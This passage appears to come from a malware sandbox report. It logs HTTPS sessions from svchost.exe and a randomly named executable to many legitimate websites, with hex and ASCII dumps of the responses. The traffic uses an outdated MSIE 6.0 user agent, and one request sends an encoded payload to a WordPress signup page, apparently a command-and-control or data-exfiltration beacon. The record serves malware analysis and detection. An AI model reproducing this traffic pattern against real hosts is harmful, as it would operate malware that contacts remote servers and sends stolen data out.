'poYetqTwpq1qi5Yfy7k9xg==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7skDYI0MHdrlk=',
2023-03-10 06:56:25 UTC	1668	IN	Data Raw: 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 Data Ascii: po.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contentinfo"> <div clas
2023-03-10 06:56:25 UTC	1669	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.6	61108	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1669	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk Content-Length: 4336
2023-03-10 06:56:25 UTC	1669	OUT	Data Raw: 73 31 52 66 5a 54 31 48 53 55 74 4f 55 46 4a 56 56 31 6c 62 58 6d 42 69 5a 47 63 30 4a 72 7a 55 49 42 78 53 36 64 34 61 31 73 6b 72 44 52 73 34 68 6d 47 70 33 56 6f 49 4a 65 69 58 6f 64 2b 74 72 37 77 75 2b 64 4d 6a 70 77 68 76 58 43 7a 6e 37 46 44 73 55 52 66 32 36 4e 6f 78 74 68 66 54 6f 6e 61 42 55 31 71 63 38 61 61 44 6b 31 50 4f 6f 72 41 6f 35 57 7a 41 4a 30 66 6a 56 70 63 41 52 72 38 44 45 74 4d 76 37 65 30 58 74 57 56 6b 4b 67 43 72 6c 45 76 71 6a 33 71 62 57 49 41 37 79 4c 34 65 76 64 39 6a 44 41 39 77 79 50 76 2b 6f 66 6a 48 68 4c 79 4c 69 30 57 54 58 32 44 38 4a 71 78 76 57 56 71 6d 58 75 36 55 5a 76 59 50 4c 44 57 32 4b 49 4d 47 70 39 63 4f 46 55 4c 78 65 2b 68 59 47 38 4a 5a 5a 4a 66 4f 41 66 74 61 4d 65 7a 6a 70 75 38 49 38 58 44 42 52 7a 4b Data Ascii: s1RfZT1HSUtOUFJVV1lbXmBiZGc0JrzUIBxS6d4a1skrDRs4hmGp3VoIJeiXod+tr7wu+dMjpwhvXCzn7FDsURf26NoxthfTonaBU1qc8aaDk1POorAo5WzAJ0fjVpcARr8DEtMv7e0XtWVkKgCrlEvqj3qbWIA7yL4evd9jDA9wyPv+ofjHhLyLi0WTX2D8JqxvWVqmXu6UZvYPLDW2KIMGp9cOFULxe+hYG8JZZJfOAftaMezjpu8I8XDBRzK
2023-03-10 06:56:27 UTC	1954	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=98 Content-Length: 48939 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:27 GMT Connection: close
2023-03-10 06:56:27 UTC	1955	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:27 UTC	1958	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-03-10 06:56:27 UTC	1966	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-03-10 06:56:27 UTC	1974	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-03-10 06:56:27 UTC	1982	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-03-10 06:56:27 UTC	2024	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-03-10 06:56:27 UTC	2032	IN	Data Raw: 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 2f 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 73 63 72 69 70 74 73 2e 6a 73 3f 76 65 72 3d 35 2e 31 2e 33 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 67 6f 5f 70 72 69 63 69 6e 67 2f Data Ascii: orm-7\/v1"}};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.3'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/go_pricing/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.6	61039	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1673	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:25 UTC	1674	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:57:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:25 UTC	1674	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:25 UTC	1690	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:25 UTC	1706	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:25 UTC	1722	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.6	60578	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1673	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.6	61210	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1674	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:25 UTC	1690	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:25 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:25 UTC	1690	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.6	61206	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1690	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:25 UTC	1723	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:25 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:25 UTC	1723	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.6	61262	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1723	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:25 UTC	1724	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DiFRh4FtQut45CIHKVF3pNySqKjLa2yD4TFJ5Hyr0uf0QON2K0ep0gC2k6Th9g9Czv68kEgYfXy9FXjms01XWw5h33LX8xCDrNv09YF%2FtRc9t99nXQHpnew%2BENq%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8612c588fc5-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:25 UTC	1725	IN	Data Raw: 31 65 61 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ea7<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
